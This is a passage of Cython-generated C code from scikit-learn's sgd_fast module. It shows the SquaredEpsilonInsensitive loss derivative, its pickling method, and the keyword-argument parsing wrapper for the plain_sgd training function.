*/\n  __pyx_t_6 = (__pyx_v_z < __pyx_v_self->epsilon);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":319\n *             return -2 * (z - self.epsilon)\n *         elif z < self.epsilon:\n *             return 2 * (-z - self.epsilon)             # <<<<<<<<<<<<<<\n *         else:\n *             return 0\n */\n    __pyx_r = (2.0 * ((-__pyx_v_z) - __pyx_v_self->epsilon));\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  /*else*/ {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":321\n *             return 2 * (-z - self.epsilon)\n *         else:\n *             return 0             # <<<<<<<<<<<<<<\n * \n *     def __reduce__(self):\n */\n    __pyx_r = 0.0;\n    goto __pyx_L0;\n  }\n  __pyx_L3:;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.SquaredEpsilonInsensitive.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"dloss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"dloss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredEpsilonInsensitive.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_4dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":313\n *         return ret * ret if ret > 0 else 0\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z\n *         z = y - p\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_4dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredEpsilonInsensitive.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_7__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_7__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused) {\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__reduce__ (wrapper)\", 0);\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_6__reduce__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *)__pyx_v_self));\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":323\n *             return 0\n * \n *     def __reduce__(self):             # <<<<<<<<<<<<<<\n *         return SquaredEpsilonInsensitive, (self.epsilon,)\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_6__reduce__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *__pyx_v_self) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"__reduce__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":324\n * \n *     def __reduce__(self):\n *         return SquaredEpsilonInsensitive, (self.epsilon,)             # <<<<<<<<<<<<<<\n * \n * \n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(__pyx_v_self->epsilon); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 324; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 324; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1);\n  __Pyx_GIVEREF(__pyx_t_1);\n  __pyx_t_1 = 0;\n  __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 324; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_INCREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive)));\n  PyTuple_SET_ITEM(__pyx_t_1, 0, ((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive)));\n  __Pyx_GIVEREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive)));\n  PyTuple_SET_ITEM(__pyx_t_1, 1, ((PyObject *)__pyx_t_2));\n  __Pyx_GIVEREF(((PyObject *)__pyx_t_2));\n  __pyx_t_2 = 0;\n  __pyx_r = ((PyObject *)__pyx_t_1);\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredEpsilonInsensitive.__reduce__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_1plain_sgd(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic char __pyx_doc_7sklearn_12linear_model_8sgd_fast_plain_sgd[] = \"Plain SGD for generic loss functions and penalties.\\n\\n    Parameters\\n    ----------\\n    weights : ndarray[double, ndim=1]\\n        The allocated coef_ vector.\\n    intercept : double\\n        The initial intercept.\\n    loss : LossFunction\\n        A concrete ``LossFunction`` object.\\n    penalty_type : int\\n        The penalty 2 for L2, 1 for L1, and 3 for Elastic-Net.\\n    alpha : float\\n        The regularization parameter.\\n    rho : float\\n        The elastic net hyperparameter.\\n    dataset : SequentialDataset\\n        A concrete ``SequentialDataset`` object.\\n    n_iter : int\\n        The number of iterations (epochs).\\n    fit_intercept : int\\n        Whether or not to fit the intercept (1 or 0).\\n    verbose : int\\n        Print verbose output; 0 for quite.\\n    shuffle : int\\n        Whether to shuffle the training data before each epoch.\\n    weight_pos : float\\n        The weight of the positive class.\\n    weight_neg : float\\n        The weight of the negative class.\\n    seed : int or RandomState object\\n        The seed of the pseudo random number generator to use when\\n        shuffling the data\\n    learning_rate : int\\n        The learning rate:\\n        (1) constant, eta = eta0\\n        (2) optimal, eta = 1.0/(t+t0)\\n        (3) inverse scaling, eta = eta0 / pow(t, power_t)\\n        (4) Passive Agressive-I, eta = min(alpha, loss/norm(x))\\n        (5) Passive Agressive-II, eta = 1.0 / (norm(x) + 0.5*alpha)\\n    eta0 : double\\n        The initial learning rate.\\n    power_t : double\\n        The exponent for inverse scaling learning rate.\\n    t : double\\n        Initial state of the learning rate. This value is equal to the\\n        iteration count except when the learning rate is set to `optimal`.\\n        Default: 1.0.\\n\\n    Returns\\n    -------\\n    weights : array, shape=[n_features]\\n        The fitted weight vector.\\n    intercept : float\\n        The fitted intercept term.\\n\\n    \";\nstatic PyMethodDef __pyx_mdef_7sklearn_12linear_model_8sgd_fast_1plain_sgd = {__Pyx_NAMESTR(\"plain_sgd\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_1plain_sgd, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(__pyx_doc_7sklearn_12linear_model_8sgd_fast_plain_sgd)};\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_1plain_sgd(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  PyArrayObject *__pyx_v_weights = 0;\n  double __pyx_v_intercept;\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *__pyx_v_loss = 0;\n  int __pyx_v_penalty_type;\n  double __pyx_v_alpha;\n  double __pyx_v_C;\n  double __pyx_v_rho;\n  struct __pyx_obj_7sklearn_5utils_11seq_dataset_SequentialDataset *__pyx_v_dataset = 0;\n  int __pyx_v_n_iter;\n  int __pyx_v_fit_intercept;\n  int __pyx_v_verbose;\n  int __pyx_v_shuffle;\n  PyObject *__pyx_v_seed = 0;\n  double __pyx_v_weight_pos;\n  double __pyx_v_weight_neg;\n  int __pyx_v_learning_rate;\n  double __pyx_v_eta0;\n  double __pyx_v_power_t;\n  double __pyx_v_t;\n  double __pyx_v_intercept_decay;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"plain_sgd (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__weights,&__pyx_n_s__intercept,&__pyx_n_s__loss,&__pyx_n_s__penalty_type,&__pyx_n_s__alpha,&__pyx_n_s__C,&__pyx_n_s__rho,&__pyx_n_s__dataset,&__pyx_n_s__n_iter,&__pyx_n_s__fit_intercept,&__pyx_n_s__verbose,&__pyx_n_s__shuffle,&__pyx_n_s__seed,&__pyx_n_s__weight_pos,&__pyx_n_s__weight_neg,&__pyx_n_s__learning_rate,&__pyx_n_s__eta0,&__pyx_n_s__power_t,&__pyx_n_s__t,&__pyx_n_s__intercept_decay,0};\n    PyObject* values[20] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case 20: values[19] = PyTuple_GET_ITEM(__pyx_args, 19);\n        case 19: values[18] = PyTuple_GET_ITEM(__pyx_args, 18);\n        case 18: values[17] = PyTuple_GET_ITEM(__pyx_args, 17);\n        case 17: values[16] = PyTuple_GET_ITEM(__pyx_args, 16);\n        case 16: values[15] = PyTuple_GET_ITEM(__pyx_args, 15);\n        case 15: values[14] = PyTuple_GET_ITEM(__pyx_args, 14);\n        case 14: values[13] = PyTuple_GET_ITEM(__pyx_args, 13);\n        case 13: values[12] = PyTuple_GET_ITEM(__pyx_args, 12);\n        case 12: values[11] = PyTuple_GET_ITEM(__pyx_args, 11);\n        case 11: values[10] = PyTuple_GET_ITEM(__pyx_args, 10);\n        case 10: values[9] = PyTuple_GET_ITEM(__pyx_args, 9);\n        case  9: values[8] = PyTuple_GET_ITEM(__pyx_args, 8);\n        case  8: values[7] = PyTuple_GET_ITEM(__pyx_args, 7);\n        case  7: values[6] = PyTuple_GET_ITEM(__pyx_args, 6);\n        case  6: values[5] = PyTuple_GET_ITEM(__pyx_args, 5);\n        case  5: values[4] = PyTuple_GET_ITEM(__pyx_args, 4);\n        case  4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3);\n        case  3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2);\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__weights)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__intercept)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case  2:\n        if (likely((values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__loss)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 2); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case  3:\n        if (likely((values[3] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__penalty_type)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 3); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case  4:\n        if (likely((values[4] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__alpha)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 4); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case  5:\n        if (likely((values[5] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__C)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 5); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case  6:\n        if (likely((values[6] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__rho)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 6); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case  7:\n        if (likely((values[7] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__dataset)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 7); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case  8:\n        if (likely((values[8] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__n_iter)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 8); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case  9:\n        if (likely((values[9] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__fit_intercept)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 9); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case 10:\n        if (likely((values[10] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__verbose)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 10); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case 11:\n        if (likely((values[11] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__shuffle)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 11); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case 12:\n        if (likely((values[12] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__seed)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 12); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case 13:\n        if (likely((values[13] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__weight_pos)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 13); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case 14:\n        if (likely((values[14] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__weight_neg)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 14); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case 15:\n        if (likely((values[15] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__learning_rate)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 15); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case 16:\n        if (likely((values[16] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__eta0)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 16); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case 17:\n        if (likely((values[17] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__power_t)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"plain_sgd\", 0, 18, 20, 17); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n        case 18:\n        if (kw_args > 0) {\n          PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s__t);\n          if (value) { values[18] = value; kw_args--; }\n        }\n        case 19:\n        if (kw_args > 0) {\n          PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s__intercept_decay);\n          if (value) { values[19] = value; kw_args--; }\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"plain_sgd\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else {\n      switch (PyTuple_GET_SIZE(__pyx_args)) {\n        case 20: values[19] = PyTuple_GET_ITEM(__pyx_args, 19);\n        case 19: values[18] = PyTuple_GET_ITEM(__pyx_args, 18);\n        case 18: values[17] = PyTuple_GET_ITEM(__pyx_args, 17);\n        values[16] = PyTuple_GET_ITEM(__pyx_args, 16);\n        values[15] = PyTuple_GET_ITEM(__pyx_args, 15);\n        values[14] = PyTuple_GET_ITEM(__pyx_args, 14);\n        values[13] = PyTuple_GET_ITEM(__pyx_args, 13);\n        values[12] = PyTuple_GET_ITEM(__pyx_args, 12);\n        values[11] = PyTuple_GET_ITEM(__pyx_args, 11);\n        values[10] = PyTuple_GET_ITEM(__pyx_args, 10);\n        values[9] = PyTuple_GET_ITEM(__pyx_args, 9);\n        values[8] = PyTuple_GET_ITEM(__pyx_args, 8);\n        values[7] = PyTuple_GET_ITEM(__pyx_args, 7);\n        values[6] = PyTuple_GET_ITEM(__pyx_args, 6);\n        values[5] = PyTuple_GET_ITEM(__pyx_args, 5);\n        values[4] = PyTuple_GET_ITEM(__pyx_args, 4);\n        values[3] = PyTuple_GET_ITEM(__pyx_args, 3);\n        values[2] = PyTuple_GET_ITEM(__pyx_args, 2);\n        values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n    }\n    __pyx_v_weights = ((PyArrayObject *)values[0]);\n    __pyx_v_intercept = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_intercept == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 328; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_loss = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)values[2]);\n    __pyx_v_penalty_type = __Pyx_PyInt_AsInt(values[3]); if (unlikely((__pyx_v_penalty_type == (int)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 330; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_alpha = __pyx_PyFloat_AsDouble(values[4]); if (unlikely((__pyx_v_alpha == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 331; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_C = __pyx_PyFloat_AsDouble(values[5]); if (unlikely((__pyx_v_C == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 331; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_rho = __pyx_PyFloat_AsDouble(values[6]); if (unlikely((__pyx_v_rho == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 332; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_dataset = ((struct __pyx_obj_7sklearn_5utils_11seq_dataset_SequentialDataset *)values[7]);\n    __pyx_v_n_iter = __Pyx_PyInt_AsInt(values[8]); if (unlikely((__pyx_v_n_iter == (int)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 334; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_fit_intercept = __Pyx_PyInt_AsInt(values[9]); if (unlikely((__pyx_v_fit_intercept == (int)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 334; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_verbose = __Pyx_PyInt_AsInt(values[10]); if (unlikely((__pyx_v_verbose == (int)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 335; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_shuffle = __Pyx_PyInt_AsInt(values[11]); if (unlikely((__pyx_v_shuffle == (int)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 335; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_seed = values[12];\n    __pyx_v_weight_pos = __pyx_PyFloat_AsDouble(values[13]); if (unlikely((__pyx_v_weight_pos == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 336; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_weight_neg = __pyx_PyFloat_AsDouble(values[14]); if (unlikely((__pyx_v_weight_neg == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 336; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_learning_rate = __Pyx_PyInt_AsInt(values[15]); if (unlikely((__pyx_v_learning_rate == (int)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 337; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_eta0 = __pyx_PyFloat_AsDouble(values[16]); if (unlikely((__pyx_v_eta0 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 337; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_power_t = __pyx_PyFloat_AsDouble(values[17]); if (unlikely((__pyx_v_power_t == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 338; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    if (values[18]) {\n      __pyx_v_t = __pyx_PyFloat_AsDouble(values[18]); if (unlikely((__pyx_v_t == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 339; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    } else {\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":339\n *               int learning_rate, double eta0,\n *               double power_t,\n *               double t=1.0,             # 